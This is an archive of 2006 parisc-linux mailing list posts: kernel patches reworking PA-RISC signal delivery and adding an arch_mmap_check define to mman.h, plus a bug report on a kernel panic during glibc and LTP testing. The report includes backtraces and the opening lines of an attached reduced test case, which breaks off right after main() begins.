Original-Received: from athena.road.mcmartin.ca (firewall.oeone.com [216.191.248.101])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "quicksilver.road.mcmartin.ca",
	Issuer "There Is No Cabal Certificate Authority" (verified OK))
	by fattire.cabal.ca (Postfix) with ESMTP id 8B24D23E02;
	Mon, 28 Aug 2006 16:22:50 -0400 (EDT)
Original-Received: by athena.road.mcmartin.ca (Postfix, from userid 1000)
	id E14B63B06A; Mon, 28 Aug 2006 16:21:41 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <20060828011528.GB6785@athena.road.mcmartin.ca>
User-Agent: Mutt/1.5.12-2006-07-14
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at engsoc.carleton.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: xSWad/dSeWU3WK2TZm9nUEgrL0tsZg2Z
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23923

Round 2, Fight!

Fix a few bugs since the last patch... Properly check and loop
on the thread_info flags in intr_check_sig and syscall_check_sig.

Switch to using the generic {compat_,}sys_rt_sigsuspend.

Kill rt_sigsuspend_wrapper since we no longer need a pt_regs
argument.

Signed-off-by: Kyle McMartin <kyle@parisc-linux.org>

Boots, and seems to run fine. Needs more extensive testing though.

diff --git a/arch/parisc/kernel/entry.S b/arch/parisc/kernel/entry.S
index 663631c..e52e0c7 100644
--- a/arch/parisc/kernel/entry.S
+++ b/arch/parisc/kernel/entry.S
@@ -978,11 +978,39 @@ intr_check_resched:
 	LDREG   TI_FLAGS(%r1),%r19	/* sched.h: TIF_NEED_RESCHED */
 	bb,<,n	%r19,31-TIF_NEED_RESCHED,intr_do_resched /* forward */
 
+	.import do_notify_resume,code
 intr_check_sig:
 	/* As above */
 	mfctl   %cr30,%r1
-	LDREG	TI_FLAGS(%r1),%r19	/* sched.h: TIF_SIGPENDING */
-	bb,<,n %r19, 31-TIF_SIGPENDING, intr_do_signal /* forward */
+	LDREG	TI_FLAGS(%r1),%r19
+	load32	(_TIF_SIGPENDING|_TIF_RESTORE_SIGMASK), %r20
+	and,COND(<>)	%r19, %r20, %r0
+	b,n	intr_restore	/* skip past if we've nothing to do */
+
+	/* This check is critical to having LWS
+	 * working. The IASQ is zero on the gateway
+	 * page and we cannot deliver any signals until
+	 * we get off the gateway page.
+	 *
+	 * Only do signals if we are returning to user space
+	 */
+	LDREG	PT_IASQ0(%r16), %r20
+	CMPIB= 0,%r20,intr_restore /* backward */
+	nop
+	LDREG	PT_IASQ1(%r16), %r20
+	CMPIB= 0,%r20,intr_restore /* backward */
+	nop
+
+	copy	%r0, %r25			/* long in_syscall = 0 */
+#ifdef CONFIG_64BIT
+	ldo	-16(%r30),%r29			/* Reference param save area */
+#endif
+
+	BL	do_notify_resume,%r2
+	copy	%r16, %r26			/* struct pt_regs *regs */
+
+	b	intr_check_sig
+	nop
 
 intr_restore:
 	copy            %r16,%r29
@@ -1072,35 +1100,6 @@ intr_do_preempt:
 	b	intr_restore		/* ssm PSW_SM_I done by intr_restore */
 #endif /* CONFIG_PREEMPT */
 
-	.import do_signal,code
-intr_do_signal:
-	/* 
-		This check is critical to having LWS
-		working. The IASQ is zero on the gateway
-		page and we cannot deliver any signals until
-		we get off the gateway page.
-
-		Only do signals if we are returning to user space 
-	*/
-	LDREG	PT_IASQ0(%r16), %r20
-	CMPIB= 0,%r20,intr_restore /* backward */
-	nop
-	LDREG	PT_IASQ1(%r16), %r20
-	CMPIB= 0,%r20,intr_restore /* backward */
-	nop
-
-	copy	%r0, %r24			/* unsigned long in_syscall */
-	copy	%r16, %r25			/* struct pt_regs *regs */
-#ifdef CONFIG_64BIT
-	ldo	-16(%r30),%r29			/* Reference param save area */
-#endif
-
-	BL	do_signal,%r2
-	copy	%r0, %r26			/* sigset_t *oldset = NULL */
-
-	b	intr_check_sig
-	nop
-
 	/*
 	 * External interrupts.
 	 */
@@ -2028,32 +2027,6 @@ sys32_sigaltstack_wrapper:
 	nop
 #endif
 
-	.export sys_rt_sigsuspend_wrapper
-sys_rt_sigsuspend_wrapper:
-	LDREG	TI_TASK-THREAD_SZ_ALGN-FRAME_SIZE(%r30), %r1
-	ldo	TASK_REGS(%r1),%r24
-	reg_save %r24
-
-	STREG	%r2, -RP_OFFSET(%r30)
-#ifdef CONFIG_64BIT
-	ldo	FRAME_SIZE(%r30), %r30
-	b,l	sys_rt_sigsuspend,%r2
-	ldo	-16(%r30),%r29		/* Reference param save area */
-#else
-	bl	sys_rt_sigsuspend,%r2
-	ldo	FRAME_SIZE(%r30), %r30
-#endif
-
-	ldo	-FRAME_SIZE(%r30), %r30
-	LDREG	-RP_OFFSET(%r30), %r2
-
-	LDREG	TI_TASK-THREAD_SZ_ALGN-FRAME_SIZE(%r30), %r1
-	ldo	TASK_REGS(%r1),%r1
-	reg_restore %r1
-
-	bv	%r0(%r2)
-	nop
-
 	.export syscall_exit
 syscall_exit:
 
@@ -2119,9 +2092,35 @@ syscall_check_resched:
 	LDREG	TI_FLAGS-THREAD_SZ_ALGN-FRAME_SIZE(%r30),%r19	/* long */
 	bb,<,n	%r19, 31-TIF_NEED_RESCHED, syscall_do_resched /* forward */
 
+	.import do_signal,code
 syscall_check_sig:
-	LDREG	TI_FLAGS-THREAD_SZ_ALGN-FRAME_SIZE(%r30),%r19    /* get ti flags */
-	bb,<,n	%r19, 31-TIF_SIGPENDING, syscall_do_signal /* forward */
+	LDREG	TI_FLAGS-THREAD_SZ_ALGN-FRAME_SIZE(%r30),%r19
+	load32	(_TIF_SIGPENDING|_TIF_RESTORE_SIGMASK), %r26
+	and,COND(<>)	%r19, %r26, %r0
+	b,n	syscall_restore	/* skip past if we've nothing to do */
+
+syscall_do_signal:
+	/* Save callee-save registers (for sigcontext).
+	 * FIXME: After this point the process structure should be
+	 * consistent with all the relevant state of the process
+	 * before the syscall.  We need to verify this.
+	 */
+	LDREG	TI_TASK-THREAD_SZ_ALGN-FRAME_SIZE(%r30),%r1 
+	ldo	TASK_REGS(%r1), %r26		/* struct pt_regs *regs */
+	reg_save %r26
+
+#ifdef CONFIG_64BIT
+	ldo	-16(%r30),%r29			/* Reference param save area */
+#endif
+
+	BL	do_notify_resume,%r2
+	ldi	1, %r25				/* long in_syscall = 1 */
+
+	LDREG	TI_TASK-THREAD_SZ_ALGN-FRAME_SIZE(%r30),%r1
+	ldo	TASK_REGS(%r1), %r20		/* reload pt_regs */
+	reg_restore %r20
+
+	b,n     syscall_check_sig
 
 syscall_restore:
 	/* Are we being ptraced? */
@@ -2260,30 +2259,6 @@ #endif
 	b       syscall_check_bh  /* if resched, we start over again */
 	nop
 
-	.import do_signal,code
-syscall_do_signal:
-	/* Save callee-save registers (for sigcontext).
-	   FIXME: After this point the process structure should be
-	   consistent with all the relevant state of the process
-	   before the syscall.  We need to verify this. */
-	LDREG	TI_TASK-THREAD_SZ_ALGN-FRAME_SIZE(%r30),%r1 
-	ldo	TASK_REGS(%r1), %r25		/* struct pt_regs *regs */
-	reg_save %r25
-
-	ldi	1, %r24				/* unsigned long in_syscall */
-
-#ifdef CONFIG_64BIT
-	ldo	-16(%r30),%r29			/* Reference param save area */
-#endif
-	BL	do_signal,%r2
-	copy	%r0, %r26			/* sigset_t *oldset = NULL */
-
-	LDREG	TI_TASK-THREAD_SZ_ALGN-FRAME_SIZE(%r30),%r1
-	ldo	TASK_REGS(%r1), %r20		/* reload pt_regs */
-	reg_restore %r20
-
-	b,n     syscall_check_sig
-
 	/*
 	 * get_register is used by the non access tlb miss handlers to
 	 * copy the value of the general register specified in r8 into
diff --git a/arch/parisc/kernel/signal.c b/arch/parisc/kernel/signal.c
index 9a04272..2710f7a 100644
--- a/arch/parisc/kernel/signal.c
+++ b/arch/parisc/kernel/signal.c
@@ -58,8 +58,6 @@ #define _BLOCKABLE (~(sigmask(SIGKILL) |
  * this. */
 #define A(__x)	((unsigned long)(__x))
 
-int do_signal(sigset_t *oldset, struct pt_regs *regs, int in_syscall);
-
 /*
  * Atomically swap in the new signal mask, and wait for a signal.
  */
@@ -67,49 +65,6 @@ #ifdef __LP64__
 #include "sys32.h"
 #endif
 
-asmlinkage int
-sys_rt_sigsuspend(sigset_t __user *unewset, size_t sigsetsize, struct pt_regs *regs)
-{
-	sigset_t saveset, newset;
-#ifdef __LP64__
-	compat_sigset_t newset32;
-
-	if (is_compat_task()) {
-		/* XXX: Don't preclude handling different sized sigset_t's.  */
-		if (sigsetsize != sizeof(compat_sigset_t))
-			return -EINVAL;
-		if (copy_from_user(&newset32, (compat_sigset_t __user *)unewset, sizeof(newset32)))
-			return -EFAULT;
-		sigset_32to64(&newset,&newset32);
-		
-	} else 
-#endif
-	{
-		/* XXX: Don't preclude handling different sized sigset_t's.  */
-		if (sigsetsize != sizeof(sigset_t))
-			return -EINVAL;
-	
-		if (copy_from_user(&newset, unewset, sizeof(newset)))
-			return -EFAULT;
-	}
-
-	sigdelsetmask(&newset, ~_BLOCKABLE);
-
-	spin_lock_irq(&current->sighand->siglock);
-	saveset = current->blocked;
-	current->blocked = newset;
-	recalc_sigpending();
-	spin_unlock_irq(&current->sighand->siglock);
-
-	regs->gr[28] = -EINTR;
-	while (1) {
-		current->state = TASK_INTERRUPTIBLE;
-		schedule();
-		if (do_signal(&saveset, regs, 1))
-			return -EINTR;
-	}
-}
-
 /*
  * Do a signal return - restore sigcontext.
  */
@@ -528,12 +483,13 @@ handle_signal(unsigned long sig, siginfo
  * us due to the magic of delayed branching.
  */
 
-asmlinkage int
-do_signal(sigset_t *oldset, struct pt_regs *regs, int in_syscall)
+asmlinkage void
+do_signal(struct pt_regs *regs, long in_syscall)
 {
 	siginfo_t info;
 	struct k_sigaction ka;
 	int signr;
+	sigset_t *oldset;
 
 	DBG(1,"\ndo_signal: oldset=0x%p, regs=0x%p, sr7 %#lx, in_syscall=%d\n",
 	       oldset, regs, regs->sr[7], in_syscall);
@@ -543,7 +499,9 @@ do_signal(sigset_t *oldset, struct pt_re
 	   we would be called in that case, but for some reason we
 	   are. */
 
-	if (!oldset)
+	if (test_thread_flag(TIF_RESTORE_SIGMASK))
+		oldset = &current->saved_sigmask;
+	else
 		oldset = &current->blocked;
 
 	DBG(1,"do_signal: oldset %08lx / %08lx\n", 
@@ -592,7 +550,9 @@ do_signal(sigset_t *oldset, struct pt_re
 		if (handle_signal(signr, &info, &ka, oldset, regs, in_syscall)) {
 			DBG(1,KERN_DEBUG "do_signal: Exit (success), regs->gr[28] = %ld\n",
 				regs->gr[28]);
-			return 1;
+			if (test_thread_flag(TIF_RESTORE_SIGMASK))
+				clear_thread_flag(TIF_RESTORE_SIGMASK);
+			return;
 		}
 	}
 	/* end of while(1) looping forever if we can't force a signal */
@@ -653,5 +613,17 @@ #endif
 	DBG(1,"do_signal: Exit (not delivered), regs->gr[28] = %ld\n", 
 		regs->gr[28]);
 
-	return 0;
+	if (test_thread_flag(TIF_RESTORE_SIGMASK)) {
+		clear_thread_flag(TIF_RESTORE_SIGMASK);
+		sigprocmask(SIG_SETMASK, &current->saved_sigmask, NULL);
+	}
+
+	return;
+}
+
+void do_notify_resume(struct pt_regs *regs, long in_syscall)
+{
+	if (test_thread_flag(TIF_SIGPENDING) ||
+	    test_thread_flag(TIF_RESTORE_SIGMASK))
+		do_signal(regs, in_syscall);
 }
diff --git a/arch/parisc/kernel/syscall_table.S b/arch/parisc/kernel/syscall_table.S
index 701d66a..efa7e53 100644
--- a/arch/parisc/kernel/syscall_table.S
+++ b/arch/parisc/kernel/syscall_table.S
@@ -283,7 +283,7 @@ #endif
 	 * struct from a 32-bit user-space app.
 	 */
 	ENTRY_SAME(rt_sigqueueinfo)
-	ENTRY_SAME(rt_sigsuspend_wrapper) /* not really SAME -- see the code */
+	ENTRY_COMP(rt_sigsuspend)
 	ENTRY_SAME(chown)		/* 180 */
 	/* setsockopt() used by iptables: SO_SET_REPLACE/SO_SET_ADD_COUNTERS */
 	ENTRY_COMP(setsockopt)
diff --git a/include/asm-parisc/thread_info.h b/include/asm-parisc/thread_info.h
index f2f83b0..949314c 100644
--- a/include/asm-parisc/thread_info.h
+++ b/include/asm-parisc/thread_info.h
@@ -62,6 +62,7 @@ #define TIF_NEED_RESCHED	3	/* rescheduli
 #define TIF_POLLING_NRFLAG	4	/* true if poll_idle() is polling TIF_NEED_RESCHED */
 #define TIF_32BIT               5       /* 32 bit binary */
 #define TIF_MEMDIE		6
+#define TIF_RESTORE_SIGMASK	7	/* restore saved signal mask */
 
 #define _TIF_SYSCALL_TRACE	(1 << TIF_SYSCALL_TRACE)
 #define _TIF_NOTIFY_RESUME	(1 << TIF_NOTIFY_RESUME)
@@ -69,9 +70,10 @@ #define _TIF_SIGPENDING		(1 << TIF_SIGPE
 #define _TIF_NEED_RESCHED	(1 << TIF_NEED_RESCHED)
 #define _TIF_POLLING_NRFLAG	(1 << TIF_POLLING_NRFLAG)
 #define _TIF_32BIT		(1 << TIF_32BIT)
+#define _TIF_RESTORE_SIGMASK	(1 << TIF_RESTORE_SIGMASK)
 
 #define _TIF_USER_WORK_MASK     (_TIF_NOTIFY_RESUME | _TIF_SIGPENDING | \
-                                 _TIF_NEED_RESCHED)
+                                 _TIF_NEED_RESCHED | _TIF_RESTORE_SIGMASK)
 
 #endif /* __KERNEL__ */
 
diff --git a/include/asm-parisc/unistd.h b/include/asm-parisc/unistd.h
index 27bcfad..eb8a14f 100644
--- a/include/asm-parisc/unistd.h
+++ b/include/asm-parisc/unistd.h
@@ -951,6 +951,8 @@ #define __ARCH_WANT_SYS_OLDUMOUNT
 #define __ARCH_WANT_SYS_SIGPENDING
 #define __ARCH_WANT_SYS_SIGPROCMASK
 #define __ARCH_WANT_SYS_RT_SIGACTION
+#define __ARCH_WANT_SYS_RT_SIGSUSPEND
+#define __ARCH_WANT_COMPAT_SYS_RT_SIGSUSPEND
 
 /* mmap & mmap2 take 6 arguments */
 #define _syscall6(type,name,type1,arg1,type2,arg2,type3,arg3,type4,arg4,type5,arg5,type6,arg6) \
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:03 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Fix alpha, mips, parisc <asm/mman.h>
Date: Tue, 29 Aug 2006 12:33:01 -0400
Lines: 53
Approved: news@gmane.org
Message-ID: <20060829163301.GA20357__30378.0158552856$1416624163$gmane$org@athena.road.mcmartin.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624163 20772 80.91.229.3 (22 Nov 2014 02:42:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:43 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
 ralf@linux-mips.org,
 debian-kernel@lists.debian.org
To: stable@kernel.org
Original-X-From: - Wed Jul 02 21:27:33 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 29 Aug 2006 16:34:24 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx053) with SMTP; 29 Aug 2006 18:34:24 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 135717D70D;
	Tue, 29 Aug 2006 10:34:19 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24540-07; Tue, 29 Aug 2006 10:34:18 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1D5187D70F;
	Tue, 29 Aug 2006 10:34:17 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1D31F7D70A
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 29 Aug 2006 10:34:14 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24540-04 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 29 Aug 2006 10:34:12 -0600 (MDT)
Original-Received: from stout.engsoc.carleton.ca (stout.engsoc.carleton.ca
	[134.117.69.22])
	by free.linux.hp.com (Postfix) with ESMTP id C61897D703
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 29 Aug 2006 10:34:12 -0600 (MDT)
Original-Received: from localhost (stout [127.0.0.1])
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 873E85840E1;
	Tue, 29 Aug 2006 12:34:11 -0400 (EDT)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id EACB05840BD;
	Tue, 29 Aug 2006 12:34:10 -0400 (EDT)
Original-Received: from athena.road.mcmartin.ca (athena.road.mcmartin.ca
	[134.117.69.56])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "quicksilver.road.mcmartin.ca",
	Issuer "There Is No Cabal Certificate Authority" (verified OK))
	by fattire.cabal.ca (Postfix) with ESMTP id A0F9823E02;
	Tue, 29 Aug 2006 12:34:10 -0400 (EDT)
Original-Received: by athena.road.mcmartin.ca (Postfix, from userid 1000)
	id B404D3B06A; Tue, 29 Aug 2006 12:33:01 -0400 (EDT)
Content-Disposition: inline
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at engsoc.carleton.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: /hmdd/VSeWU3WK2TZm9nMIYrL0tsZg0+
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23924

Fix <asm/mman.h> on arches which do not include the asm-generic
mman.h header. Guard the define of arch_mmap_check() in an
#ifndef __ASSEMBLY__ in case mman.h ends up included in assembly
code as on ia64.

Signed-off-by: Kyle McMartin <kyle@parisc-linux.org>

---
diff --git a/include/asm-alpha/mman.h b/include/asm-alpha/mman.h
index 5f24c75..97ebc74 100644
--- a/include/asm-alpha/mman.h
+++ b/include/asm-alpha/mman.h
@@ -52,4 +52,8 @@ #define MADV_DOFORK	11		/* do inherit ac
 #define MAP_ANON	MAP_ANONYMOUS
 #define MAP_FILE	0
 
+#if defined(__KERNEL__) && !defined(__ASSEMBLY__)
+#define arch_mmap_check(addr, len, flags)	(0)
+#endif
+
 #endif /* __ALPHA_MMAN_H__ */
diff --git a/include/asm-mips/mman.h b/include/asm-mips/mman.h
index 046cf68..07b7cce 100644
--- a/include/asm-mips/mman.h
+++ b/include/asm-mips/mman.h
@@ -75,4 +75,8 @@ #define MADV_DOFORK	11		/* do inherit ac
 #define MAP_ANON	MAP_ANONYMOUS
 #define MAP_FILE	0
 
+#if defined(__KERNEL__) && !defined(__ASSEMBLY__)
+#define arch_mmap_check(addr, len, flags)	(0)
+#endif
+
 #endif /* _ASM_MMAN_H */
diff --git a/include/asm-parisc/mman.h b/include/asm-parisc/mman.h
index 0ef15ee..d015a4e 100644
--- a/include/asm-parisc/mman.h
+++ b/include/asm-parisc/mman.h
@@ -59,4 +59,8 @@ #define MAP_ANON	MAP_ANONYMOUS
 #define MAP_FILE	0
 #define MAP_VARIABLE	0
 
+#if defined(__KERNEL__) && !defined(__ASSEMBLY__)
+#define arch_mmap_check(addr, len, flags)	(0)
+#endif
+
 #endif /* __PARISC_MMAN_H__ */
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeff Bailey <jbailey@raspberryginger.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Kernel crash while running glibc's make check
Date: Tue, 29 Aug 2006 18:07:46 -0700
Lines: 99
Approved: news@gmane.org
Message-ID: <20060830010746.GA5917@titanium.v3.ca>
References: <20060827180534.GB28838@titanium.v3.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="/9DWx/yDrRhgMJTb"
X-Trace: ger.gmane.org 1416624163 20776 80.91.229.3 (22 Nov 2014 02:42:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:43 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:33 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 30 Aug 2006 01:07:58 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx054) with SMTP; 30 Aug 2006 03:07:58 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B60267D71F;
	Tue, 29 Aug 2006 19:07:55 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 31091-02; Tue, 29 Aug 2006 19:07:55 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D15657D72E;
	Tue, 29 Aug 2006 19:07:52 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D1B1F7D718
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 29 Aug 2006 19:07:48 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30019-09 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 29 Aug 2006 19:07:47 -0600 (MDT)
Original-Received: from titanium.v3.ca (titanium.v3.ca [69.90.100.5])
	by free.linux.hp.com (Postfix) with ESMTP id 8B3367D716
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 29 Aug 2006 19:07:47 -0600 (MDT)
Original-Received: from titanium.v3.ca (localhost [127.0.0.1])
	by titanium.v3.ca (8.13.2/8.13.2/Debian-1) with ESMTP id k7U17kwZ007733
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT)
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 29 Aug 2006 18:07:46 -0700
Original-Received: (from jbailey@localhost)
	by titanium.v3.ca (8.13.2/8.13.2/Submit) id k7U17kSO007732
	for parisc-linux@lists.parisc-linux.org; Tue, 29 Aug 2006 18:07:46 -0700
X-Authentication-Warning: titanium.v3.ca: jbailey set sender to
	jbailey@raspberryginger.com using -f
Content-Disposition: inline
In-Reply-To: <20060827180534.GB28838@titanium.v3.ca>
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: xNbGd4grPTRtDujGPjIwtzoxc2tpZEvd
Status: R
X-Status: NT
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23925


--/9DWx/yDrRhgMJTb
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

On Sun, Aug 27, 2006 at 11:05:34AM -0700, Jeff Bailey wrote:
> Hi!  As an attempt to help the glibc/NPTL efforts, I've upgraded to a
> recent kernel in order to make sure problems I'm seeing that are
> triggered by kernel bugs haven't already been fixed.  However, I can no
> longer make it through a glibc make check pass.

Because reduced test cases are cuddly, I have produced one (attached).
=)

I found I could produce the same failure with the ltp testsuite, so I
reduced that instead.

And the failure message again:
root@test148:~/foo# ./adjtimex02
kernel BUG at mm/mmap.c:1970!
Backtrace:
 [<10160978>] exit_mmap+0x16c/0x18c
 [<10124160>] mmput+0x4c/0xc0
 [<101290c0>] do_exit+0x130/0x840
 [<10129860>] do_group_exit+0x6c/0xcc
 [<1010c134>] syscall_exit+0x0/0x14
Kernel panic - not syncing: BUG!
 <3>BUG: scheduling while atomic: adjtimex02/0x00000100/2627
Backtrace:
 [<1010262c>] schedule+0x6d0/0x6f4
 [<10139c54>] flush_cpu_workqueue+0xb8/0x110
 [<1013a164>] cancel_rearming_delayed_workqueue+0x58/0x5c
 [<10238ce4>] lcd_print+0x54/0x1b0
 [<1023a270>] process_shutdown+0x3c/0x6c
 [<1012cf78>] tasklet_action+0x64/0xec
 [<1012cb68>] __do_softirq+0xd8/0x114
 [<10104918>] __lock_text_end+0x48/0x54
 [<1010b068>] intr_return+0x0/0xc

I have updated the system map at
http://people.ubuntu.com/~jbailey/System.map-2.6.18-rc4-pa4
with the one for the kernel recompiled with gcc-3.4.6.

Tks,
Jeff Bailey

-- 
I do not agree with a word you say, but I will defend to the death your
right to say it. 
 - Voltaire

--/9DWx/yDrRhgMJTb
Content-Type: text/x-csrc; charset=us-ascii
Content-Disposition: attachment; filename="mmaptstcase.c"

/*
 * Testcase reduced from ltp, adjtimex02
 *
 * 1) adjtimex(2) fails with errno set to EFAULT if buf does
 *	   not point to writable memory
 */

#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/timex.h>

int
main()
{
